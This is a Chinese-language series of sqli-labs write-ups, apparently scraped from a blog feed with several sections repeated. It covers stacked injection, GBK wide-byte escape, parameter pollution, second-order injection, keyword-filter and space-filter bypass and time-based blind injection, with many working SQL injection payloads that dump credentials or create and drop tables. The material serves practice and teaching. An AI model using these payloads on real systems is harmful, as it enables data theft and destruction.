mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
經過堆疊注入
0';insert into users(id,username,password) values(38,'less38','hello')--+
之後的資料庫:
的確多了剛剛堆疊注入出的less-38這個帳號。也可以試試多創建一個table:
0';CREATE TABLE WhiteMoon LIKE users;--+
也的確會多出table:
mysql> select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database();
+------------+
| TABLE_NAME |
+------------+
| emails |
| referers |
| uagents |
| users |
| whitemoon |
+------------+
5 rows in set (0.00 sec)
也可以刪除,只要把上圖反藍替換成刪除語句即可:
0';DROP TABLE WhiteMoon;--+
看看下圖,可以比對出的確有刪除。
是數值型注入,除了不須加單引號外,其他都一樣:
1;CREATE TABLE WhiteMoon LIKE users;--+
1;DROP TABLE WhiteMoon;--+
一樣,只是要注意閉合是')
。
1');DROP TABLE WhiteMoon;--+
可以用跟less-39一模一樣的方式來新增跟刪除table,這題的主要不同點在於這題錯誤不回顯,是盲注。
看到輸入密碼畫面,總之先用
https://github.com/payloadbox/sql-injection-payload-list
裡面的SQL Injection Auth Bypass Payloads來爆破一次。可以得知在以下payload時會出現錯誤訊息:
可以發現這些payload(length 962-973)的共通點是單引號,所以大概那就是閉合。而這一次一樣是堆疊注入,所以就如法炮製試試看:
帳/密: admin/c';create table less42 like users#
帳/密: admin/c';drop table less42#
如果直接用admin/admin登入成功,則會出現更新密碼畫面:
不過這一題不是二次注入,所以也沒用。
跟less-42一樣,只是閉合變成了')
。這樣的閉合,從下圖length最小的前3個可見一斑。
上圖反藍的payload,雖然上圖下方的Render沒有顯示出來,但實際用其中一個admin'#
,可以成功登入如下圖:
代表這一次還是單引號閉合。之後就一樣是堆疊注入
admin';create table test like users;#
admin';drop table test;#
跟之前的差別,只是這一次不會回顯。
跟43關payload相同,但跟43一樣不會有報錯訊息。
]]>閉合測試:
可以發現id後面的數字不管用什麼符號,都會被轉譯,在前面多一個反斜線。不過:
可以從上圖原始碼的第40行發現它是用GBK編碼。mysql數據庫在使用寬字節(GBK)編碼時,會認為兩個字符是一個漢字(前一個ascii碼要大於128(比如%df),才到漢字的範圍),而且當我們輸入單引號時,mysql會調用轉義函數,將單引號變為’,其中的十六進制是%5c,mysql的GBK編碼,會認為%df%5c是一個寬字節,也就是’運’,從而使單引號閉合(逃逸),進行注入攻擊。以下是轉譯過程:
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’
用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql
加上%df後再來測測看閉合:
可以發現會出現錯誤,代表可以注入。而這一題是用單引號閉合(從上圖反藍應該可見一斑),可以實際試試看回顯位置:
其他的注入語句就跟less-1一樣,取代上圖反藍即可。但要注意不可用到單引號,所以一些慣用查詢語句要改一下,如果需要用單引號把資料庫或table或column的名字括起來,就改用16進位。
改成16進位方式如下圖,先把想改成16進位的東西反藍,再點下圖encoding,會出現下拉式選單:
接下來選Hexadecimal encode:
可以發現轉成16進位如下圖,記得要拿掉單引號,並在前面加0x:
成果如下:
上圖反藍處可替換成查詢語句如下:
#顯示目前DB
union select null,null,database()
#顯示security DB底下的table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = database()
#顯示security DB底下的users table的column名稱:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 0x7573657273
#顯示users table的password這個column的內容
union select null,group_concat(username),group_concat(password) FROM users
閉合測試
根據上圖,一樣是單引號閉合。
之後的查詢語句跟less-32完全一樣,但記得id=1要改成id=0,查詢語句要放在下圖反藍處:
雖然看上面的錯誤好像很複雜,但其實這一題是數值型注入,如下圖:
所以也不用考慮轉譯的問題,只要把下圖反藍給換成less-32最後面提到的查詢語句即可。
一樣會有轉譯如下圖:
可以發現即使加了%df,前面還是會被多append一個反斜線(5c):
輸入admin/admin之後的畫面:
同樣的,如果輸入單引號如下圖藍字,會發現一樣會多個反斜線如下圖反灰:
由於一些注入用hackbar會失敗,所以接下來用burp。
用一樣的思路,寬字節注入,帳號輸入admin%df' union select 1,2#
從上圖可以發現,%
會被轉譯成%25,所以要把那25給拿掉。把上圖burp的request送到repeater後改一下:
可以發現拿掉25後(如上圖反藍)再送以後,就可以看到回顯點。
之後只要把上圖反藍處取代成查詢語句即可。如果想用less-32的也可以,但是要改一下,要刪掉一個null,
。因為這一次只有兩欄。
less-37
做不出來
]]>閉合測試:
可以發現id後面的數字不管用什麼符號,都會被轉譯,在前面多一個反斜線。不過:
可以從上圖原始碼的第40行發現它是用GBK編碼。mysql數據庫在使用寬字節(GBK)編碼時,會認為兩個字符是一個漢字(前一個ascii碼要大於128(比如%df),才到漢字的範圍),而且當我們輸入單引號時,mysql會調用轉義函數,將單引號變為’,其中的十六進制是%5c,mysql的GBK編碼,會認為%df%5c是一個寬字節,也就是’運’,從而使單引號閉合(逃逸),進行注入攻擊。以下是轉譯過程:
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’
用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql
加上%df後再來測測看閉合:
可以發現會出現錯誤,代表可以注入。而這一題是用單引號閉合(從上圖反藍應該可見一斑),可以實際試試看回顯位置:
其他的注入語句就跟less-1一樣,取代上圖反藍即可。但要注意不可用到單引號,所以一些慣用查詢語句要改一下,如果需要用單引號把資料庫或table或column的名字括起來,就改用16進位。
改成16進位方式如下圖,先把想改成16進位的東西反藍,再點下圖encoding,會出現下拉式選單:
接下來選Hexadecimal encode:
可以發現轉成16進位如下圖,記得要拿掉單引號,並在前面加0x:
成果如下:
上圖反藍處可替換成查詢語句如下:
#顯示目前DB
union select null,null,database()
#顯示security DB底下的table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = database()
#顯示security DB底下的users table的column名稱:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 0x7573657273
#顯示users table的password這個column的內容
union select null,group_concat(username),group_concat(password) FROM users
閉合測試
根據上圖,一樣是單引號閉合。
之後的查詢語句跟less-32完全一樣,但記得id=1要改成id=0,查詢語句要放在下圖反藍處:
雖然看上面的錯誤好像很複雜,但其實這一題是數值型注入,如下圖:
所以也不用考慮轉譯的問題,只要把下圖反藍給換成less-32最後面提到的查詢語句即可。
一樣會有轉譯如下圖:
可以發現即使加了%df,前面還是會被多append一個反斜線(5c):
輸入admin/admin之後的畫面:
同樣的,如果輸入單引號如下圖藍字,會發現一樣會多個反斜線如下圖反灰:
由於一些注入用hackbar會失敗,所以接下來用burp。
用一樣的思路,寬字節注入,帳號輸入admin%df' union select 1,2#
從上圖可以發現,%
會被轉譯成%25,所以要把那25給拿掉。把上圖burp的request送到repeater後改一下:
可以發現拿掉25後(如上圖反藍)再送以後,就可以看到回顯點。
之後只要把上圖反藍處取代成查詢語句即可。如果想用less-32的也可以,但是要改一下,要刪掉一個null,
。因為這一次只有兩欄。
less-37
做不出來
]]>這一關的需要配置tomcat環境。首先從一直都有的phpStudy開始講起。
開啟phpStudy的操控面板後,點擊「其他選項菜單」->「站點域名管理」:
之後可進入以下畫面,照下圖設定後,按「修改」再按「保存設置並生成配置文件」。
之後重啟即可。
如何找載點跟安裝就省略,google就有,不過這是很舊的軟體,不好找下載。
跟上面的phpStudy一樣,首先先開啟控制面板,點擊「其他選項菜單」:
按了上圖的「端口常規設置」後,出現設定如下。主要是設定apache跟tomcat的port,避免跟phpStudy的衝到。要注意也不能設8080,會跟Burp衝到。
之後把原本在phpStudy內的sqli-master資料夾裡的tomcat-files壓縮檔複製到下圖路徑並解壓縮,記得檔名換一下。
注意一下上圖sqli裡的文件,包括Less-29-31的index.jsp,要修改裡面的網址:
之後也在「其他選項菜單」->「站點域名管理」,把設定修成跟下圖一樣,設定結束以後一樣控制面板要按重啟:
之後即可進入以下網頁:
為了測試閉合,在上圖的id=1後面加個單引號後,會跳到下面頁面:
阻擋原理解釋:
簡單地講就是給一個參數賦上兩個或兩個以上的值,由於現行的HTTP標準沒有提及在遇到多個輸入值給相同的參數賦值時應該怎樣處理,而且不同的網站後端做出的處理方式是不同的,從而造成解析錯誤。
所以多加一個參數後,再測試閉合:
從上面兩個測試可知,大概是單引號閉合。
確認回顯點:
1&id=1' union select 1,2,3--+
既然第二個id=1無法回顯,就試試id=0:
成功找出回顯點,上圖反灰的2就是上圖反藍的2,3也是同理。
接下來只需參考less-1的查詢語句,替換掉下圖藍字即可查出帳密。
其他語句如下:
#顯示security DB底下的table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
#顯示security DB底下的users table的column名稱:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
#顯示users table的password這個column的內容
union select null,group_concat(username),group_concat(password) FROM users
測試閉合:
從以上兩張圖,可以知道是用"
閉合而非")
閉合,記得最後面加上註釋符號,其他語句跟less-29一樣,下圖反藍處就是拿來替換的。
&id=0" union select null,null,database() --+
其他語句如下:
#顯示security DB底下的table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
#顯示security DB底下的users table的column名稱:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
#顯示users table的password這個column的內容
union select null,group_concat(username),group_concat(password) FROM users
測試閉合:
從上圖灰底,可以發現這一次的閉合是")
。所以注入語句如下:
&id=0") union select null,null,database() --+
之後只要把藍字換成其他查詢語句(less-29有寫),即可查詢其他資料。
https://blog.csdn.net/BROTHERYY/article/details/108447891
http://m.mamicode.com/info-detail-2939202.html
Kali-linux-2020 sqli-labs环境配置(含网上最全Less-29在Kali上的配置)_kali部署less-CSDN博客
]]>這一關的需要配置tomcat環境。首先從一直都有的phpStudy開始講起。
開啟phpStudy的操控面板後,點擊「其他選項菜單」->「站點域名管理」:
之後可進入以下畫面,照下圖設定後,按「修改」再按「保存設置並生成配置文件」。
之後重啟即可。
如何找載點跟安裝就省略,google就有,不過這是很舊的軟體,不好找下載。
跟上面的phpStudy一樣,首先先開啟控制面板,點擊「其他選項菜單」:
按了上圖的「端口常規設置」後,出現設定如下。主要是設定apache跟tomcat的port,避免跟phpStudy的衝到。要注意也不能設8080,會跟Burp衝到。
之後把原本在phpStudy內的sqli-master資料夾裡的tomcat-files壓縮檔複製到下圖路徑並解壓縮,記得檔名換一下。
注意一下上圖sqli裡的文件,包括Less-29-31的index.jsp,要修改裡面的網址:
之後也在「其他選項菜單」->「站點域名管理」,把設定修成跟下圖一樣,設定結束以後一樣控制面板要按重啟:
之後即可進入以下網頁:
為了測試閉合,在上圖的id=1後面加個單引號後,會跳到下面頁面:
阻擋原理解釋:
簡單地講就是給一個參數賦上兩個或兩個以上的值,由於現行的HTTP標準沒有提及在遇到多個輸入值給相同的參數賦值時應該怎樣處理,而且不同的網站後端做出的處理方式是不同的,從而造成解析錯誤。
所以多加一個參數後,再測試閉合:
從上面兩個測試可知,大概是單引號閉合。
確認回顯點:
1&id=1' union select 1,2,3--+
既然第二個id=1無法回顯,就試試id=0:
成功找出回顯點,上圖反灰的2就是上圖反藍的2,3也是同理。
接下來只需參考less-1的查詢語句,替換掉下圖藍字即可查出帳密。
其他語句如下:
#顯示security DB底下的table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
#顯示security DB底下的users table的column名稱:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
#顯示users table的password這個column的內容
union select null,group_concat(username),group_concat(password) FROM users
測試閉合:
從以上兩張圖,可以知道是用"
閉合而非")
閉合,記得最後面加上註釋符號,其他語句跟less-29一樣,下圖反藍處就是拿來替換的。
&id=0" union select null,null,database() --+
其他語句如下:
#顯示security DB底下的table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
#顯示security DB底下的users table的column名稱:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
#顯示users table的password這個column的內容
union select null,group_concat(username),group_concat(password) FROM users
測試閉合:
從上圖灰底,可以發現這一次的閉合是")
。所以注入語句如下:
&id=0") union select null,null,database() --+
之後只要把藍字換成其他查詢語句(less-29有寫),即可查詢其他資料。
https://blog.csdn.net/BROTHERYY/article/details/108447891
http://m.mamicode.com/info-detail-2939202.html
Kali-linux-2020 sqli-labs环境配置(含网上最全Less-29在Kali上的配置)_kali部署less-CSDN博客
]]>可以看得出來單引號就是閉合,但依然上圖最兩個payload都出錯,那有可能是過濾掉了註釋符號。
既然過濾掉註釋符號,那就要多一個單引號來閉合,也需要多一些or來確保注入語句可以順利執行,跟less-18的
'OR updatexml(1,concat("!",database()),2) OR'
有異曲同工之妙。
可以再仔細看看原始碼:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
如果把註釋符號過濾,那注入1' union select null,database(),3 --+後會變成
$sql="SELECT * FROM users WHERE id='1' union select null,database(),3 ' LIMIT 0,1";
所以會出錯。
注意!,如果注入:
1' union select null,database(),3 or '
還是只會顯示admin跟admin,必須把1調成不在資料庫裡的數字(如-1),才有機會讓網頁顯示我們要的資訊。所以注入:
-1' union select null,database(),3 or '
看看上圖灰底字,就是database()有執行的證明。之後把上圖藍字部分換成慣用payload即可。
查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users
但要注意上一句如果直接輸入會出問題:
可以在payload創造一個恆真條件閉合:
union select null,group_concat(username),group_concat(password) FROM users WHERE 1=1
登入後看到以下頁面:
直覺先用payload狂打,看能不能繞,
但結果出來如下圖,通通不行。
不過以admin登入以後可以更改密碼。
所以這一題是二次注入。先註冊一個有問題的帳號,以閉合且註釋掉後面語句。
比如註冊admin1'#,可以看見目前資料庫如下圖,admin1'#的密碼是123456,而admin1的密碼是admin1:
D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 149
Server version: 5.5.47 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
6 rows in set (0.00 sec)
mysql> use security;
Database changed
mysql> select username,password FROM users;
+----------+------------+
| username | password |
+----------+------------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
| admin1'# | 123456 |
+----------+------------+
14 rows in set (0.00 sec)
(具體資料庫操作可以參考以下網頁:
https://tsuozoe.pixnet.net/blog/post/21283890
)
接下來把我們註冊的admin1'#的密碼修改成7890:
再次查詢即可得知admin1的密碼被改了,如下圖反白。
問題出在pass_change.php的這一行:
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='$username' and password='$curr_pass' ";
當我們註冊了admin1'#時,語句變為
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'#' and password='$curr_pass' ";
這時admin1'#的#把後面的語句通通被註解掉,而admin1'#的單引號發揮了閉合的效果,所以實際上語句變成下面這樣,改到的是admin1。
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'
如果報錯可回顯,那麼直接在1的後面加一個反斜線即可知道原本語句是如何閉合的。可以看到上圖紅圈,反斜線後面是單引號,代表是用單引號閉合。
另外也要注意兩點:
第一、id後面要=-1或是其他資料庫沒有的數字,才會正確讀出。
第二、注意到報錯訊息,可以發現原始的sql語句包含LIMIT...,這代表注入語句後面用--+無法註釋掉,要用 or '
才有用。
第三、可以看看這網頁的提示如下圖,可以知道會對注入語句的or跟and做過濾。or可以用||
或是oORr,and可以用&&
或AandND來躲避過濾(如果只過濾一次英文的話)。
所以之前習慣用的payload要做處理。
上圖反藍就是可以讓我們塞payload的地方,但在執行前還要把它編碼,可以用chrome 的hackbar來幫忙:
把後面部分反藍,先點encoding再點url encode,即可編碼。反灰是結果,反藍就是被編碼過的現有資料庫查詢語句。
那再來看看之前常用的payload,它是可以塞到上上上張圖的反藍處:
union select null,null,group_concat(TABLE_NAME) from infoORrmation_schema.tables where TABLE_SCHEMA = 'security'
union select null,null,group_concat(COLUMN_NAME) FROM infoORrmation_schema.columns WHERE TABLE_SCHEMA = 'security' AandND TABLE_NAME = 'users'
union select null,group_concat(username),group_concat(passwoORrd) FROM users WHERE '1'='1'
但是要注意,因為網頁會把or濾掉,所以要把原本含有or的字多加一個or,像是information_schema改成infoORrmation_schema,password改成passwoORrd。
網頁直接給提示,不允許空白跟註釋。先測試閉合,透過單引號(下圖反灰)跟錯誤訊息(下圖反藍),可以得知是透過單引號閉合。
但如果禁止空白,那麼原本的那些語句:
# 查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
# 查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
# 查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users
一定都會遇到空白,而且環境可能還不認空白的替代品--%a0
。幸好這網頁可以回顯錯誤,可以使用updatexml,因為此函數可以用小括號和運算符來代替空白,。另外,在不使用註釋的前提下,想閉合後面語句,就用||'
。比如說原始碼裡是'id',那麼注入語句應該是'||查詢語句||'
。
updatexml(1,concat('$',(database())),0)
上圖的反藍處可以取代成查詢語句,注意以下查詢語句為了躲避or的過濾,or會寫成oorr。
security這個DB有哪一些table(表名):
updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)
users這個table有哪一些column(字段名):
updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)
爆出column內容:
updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)
注意因没有空格不能使用limit 0,1,而报错有字符限制也不能使用group_concat(),所以只能使用where条件来控制偏移量。
如何判斷閉合?
這一次沒有錯誤回顯,但可以直接用union select回顯。如果使用windows的phpstudy,根本無法用%a0來繞過空格,也可以使用盲注,延時盲注的語法不須空格,這裡使用盲注。
資料庫名稱長度: (注意注入語句兩邊是and)
1')anandd(if((length(database())=8),sleep(5),1))anandd('1
如果猜對的話load會需要5秒,畫面呈現會是如下:
代換上圖反灰即可。
閉合測試:
首先用
https://github.com/TheKingOfDuck/fuzzDicts/blob/master/sqlDict/sql.txt
這個字典檔進行注入點fuzzing,結果如下:
從上圖來看,這題一樣會過濾空格,也會過濾註釋,而在windows的phpstudy底下,/*%0a*/
可以代表空白。
從上圖可知這題應該是單引號閉合。
從上圖可以看出非')
閉合
(參考less-1,但有改)
如果直接把less-1的注入語句
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
的union select給大小寫混淆,以及將空格以/*%0a*/
替代的話,結果會怪怪的,注入語句應該要用
UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4
才會正常。
還有,如果是等等會提到的報錯注入,那麼可以用
1' || 注入語句 || '1
這樣的方式來注入。但如果是現在提的直接回顯方式,這樣的作法會出錯(為何?),必須改成
0' 注入語句 || '1
而且還要是0或者是很大的正數,才會正確顯示注入語句的內容。以
UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4
這個語句為例。這是顯示security這個DB有哪些table,但如果0改成-1,只會顯示:
如果是其他負數,則會顯示帳密。
顯示欄位(column名稱)
UnIoN SeLeCt 1,(SeLeCt group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'),2
上圖反灰處即為塞payload的地方。
顯示帳密:
UnIoN SeLeCt 3,(SeLeCt group_concat(username) FROM users),2
UnIoN SeLeCt 3,(SeLeCt group_concat(password) FROM users),2
另外,這一題的報錯會回顯,所以用updatexml試試看:
爆出security裡的table:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)
變形:(無空格)
updatexml(1,concat("!",(SeLeCT(group_concat(table_name))FROM(information_schema.tables)WHERE (table_schema='security'))),2)
爆出users table裡的column
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)
變形:(無空格)
updatexml(1,concat("!",(SeLeCT(group_concat(column_name))FROM(information_schema.columns)WHERE((table_schema='security')AND(table_name='users')))),2)
爆出column內容
updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1)
變形:(無空格)
updatexml(1,concat(0x7e,(SeLeCT(group_concat(username,':',password))from(users)),1)
跟less-27相同,只是是用"
閉合,給出其中一個payload作參考:
0"UnIoN/*%0a*/SeLeCt/*%0a*/3,(database()),2||"1
上圖藍字更換成其他查詢語句。
閉合:
1' and '1' = '1成立(如下圖),這表示原始碼內查詢語句有兩種可能:
select * from table where id = '1' and '1' = '1';
select * from table where id = ('1' and '1' = '1');
所以再進一步的試試,是不是第二種:
1') and ('1') = ('1
所以閉合就是')。
接下來就是測試以往用過的注入語句:
可以從上圖反藍跟反灰看的出來這一次是union跟select一起出現就會觸發過濾,所以用雙寫繞過即可。雙寫寫法如下:
網頁會過濾掉上圖反藍,所以還剩下一對union跟select。
100')UnIon/*%0a*/sEunion/*%0a*/selectlect/*%0a*/3,(database()),2 || ('1
替換掉上圖反藍即可更換查詢語句。
其實跟less-28差不多,閉合是一樣的,過濾也差不多,可以用雙寫繞過。
]]>可以看得出來單引號就是閉合,但依然上圖最兩個payload都出錯,那有可能是過濾掉了註釋符號。
既然過濾掉註釋符號,那就要多一個單引號來閉合,也需要多一些or來確保注入語句可以順利執行,跟less-18的
'OR updatexml(1,concat("!",database()),2) OR'
有異曲同工之妙。
可以再仔細看看原始碼:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
如果把註釋符號過濾,那注入1' union select null,database(),3 --+後會變成
$sql="SELECT * FROM users WHERE id='1' union select null,database(),3 ' LIMIT 0,1";
所以會出錯。
注意!,如果注入:
1' union select null,database(),3 or '
還是只會顯示admin跟admin,必須把1調成不在資料庫裡的數字(如-1),才有機會讓網頁顯示我們要的資訊。所以注入:
-1' union select null,database(),3 or '
看看上圖灰底字,就是database()有執行的證明。之後把上圖藍字部分換成慣用payload即可。
查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users
但要注意上一句如果直接輸入會出問題:
可以在payload創造一個恆真條件閉合:
union select null,group_concat(username),group_concat(password) FROM users WHERE 1=1
登入後看到以下頁面:
直覺先用payload狂打,看能不能繞,
但結果出來如下圖,通通不行。
不過以admin登入以後可以更改密碼。
所以這一題是二次注入。先註冊一個有問題的帳號,以閉合且註釋掉後面語句。
比如註冊admin1'#,可以看見目前資料庫如下圖,admin1'#的密碼是123456,而admin1的密碼是admin1:
D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 149
Server version: 5.5.47 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
6 rows in set (0.00 sec)
mysql> use security;
Database changed
mysql> select username,password FROM users;
+----------+------------+
| username | password |
+----------+------------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
| admin1'# | 123456 |
+----------+------------+
14 rows in set (0.00 sec)
(具體資料庫操作可以參考以下網頁:
https://tsuozoe.pixnet.net/blog/post/21283890
)
接下來把我們註冊的admin1'#的密碼修改成7890:
再次查詢即可得知admin1的密碼被改了,如下圖反白。
問題出在pass_change.php的這一行:
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='$username' and password='$curr_pass' ";
當我們註冊了admin1'#時,語句變為
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'#' and password='$curr_pass' ";
這時admin1'#的#把後面的語句通通被註解掉,而admin1'#的單引號發揮了閉合的效果,所以實際上語句變成下面這樣,改到的是admin1。
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'
如果報錯可回顯,那麼直接在1的後面加一個反斜線即可知道原本語句是如何閉合的。可以看到上圖紅圈,反斜線後面是單引號,代表是用單引號閉合。
另外也要注意兩點:
第一、id後面要=-1或是其他資料庫沒有的數字,才會正確讀出。
第二、注意到報錯訊息,可以發現原始的sql語句包含LIMIT...,這代表注入語句後面用--+無法註釋掉,要用 or '
才有用。
第三、可以看看這網頁的提示如下圖,可以知道會對注入語句的or跟and做過濾。or可以用||
或是oORr,and可以用&&
或AandND來躲避過濾(如果只過濾一次英文的話)。
所以之前習慣用的payload要做處理。
上圖反藍就是可以讓我們塞payload的地方,但在執行前還要把它編碼,可以用chrome 的hackbar來幫忙:
把後面部分反藍,先點encoding再點url encode,即可編碼。反灰是結果,反藍就是被編碼過的現有資料庫查詢語句。
那再來看看之前常用的payload,它是可以塞到上上上張圖的反藍處:
union select null,null,group_concat(TABLE_NAME) from infoORrmation_schema.tables where TABLE_SCHEMA = 'security'
union select null,null,group_concat(COLUMN_NAME) FROM infoORrmation_schema.columns WHERE TABLE_SCHEMA = 'security' AandND TABLE_NAME = 'users'
union select null,group_concat(username),group_concat(passwoORrd) FROM users WHERE '1'='1'
但是要注意,因為網頁會把or濾掉,所以要把原本含有or的字多加一個or,像是information_schema改成infoORrmation_schema,password改成passwoORrd。
網頁直接給提示,不允許空白跟註釋。先測試閉合,透過單引號(下圖反灰)跟錯誤訊息(下圖反藍),可以得知是透過單引號閉合。
但如果禁止空白,那麼原本的那些語句:
# 查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
# 查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
# 查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users
一定都會遇到空白,而且環境可能還不認空白的替代品--%a0
。幸好這網頁可以回顯錯誤,可以使用updatexml,因為此函數可以用小括號和運算符來代替空白,。另外,在不使用註釋的前提下,想閉合後面語句,就用||'
。比如說原始碼裡是'id',那麼注入語句應該是'||查詢語句||'
。
updatexml(1,concat('$',(database())),0)
上圖的反藍處可以取代成查詢語句,注意以下查詢語句為了躲避or的過濾,or會寫成oorr。
security這個DB有哪一些table(表名):
updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)
users這個table有哪一些column(字段名):
updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)
爆出column內容:
updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)
注意因没有空格不能使用limit 0,1,而报错有字符限制也不能使用group_concat(),所以只能使用where条件来控制偏移量。
如何判斷閉合?
這一次沒有錯誤回顯,但可以直接用union select回顯。如果使用windows的phpstudy,根本無法用%a0來繞過空格,也可以使用盲注,延時盲注的語法不須空格,這裡使用盲注。
資料庫名稱長度: (注意注入語句兩邊是and)
1')anandd(if((length(database())=8),sleep(5),1))anandd('1
如果猜對的話load會需要5秒,畫面呈現會是如下:
代換上圖反灰即可。
閉合測試:
首先用
https://github.com/TheKingOfDuck/fuzzDicts/blob/master/sqlDict/sql.txt
這個字典檔進行注入點fuzzing,結果如下:
從上圖來看,這題一樣會過濾空格,也會過濾註釋,而在windows的phpstudy底下,/*%0a*/
可以代表空白。
從上圖可知這題應該是單引號閉合。
從上圖可以看出非')
閉合
(參考less-1,但有改)
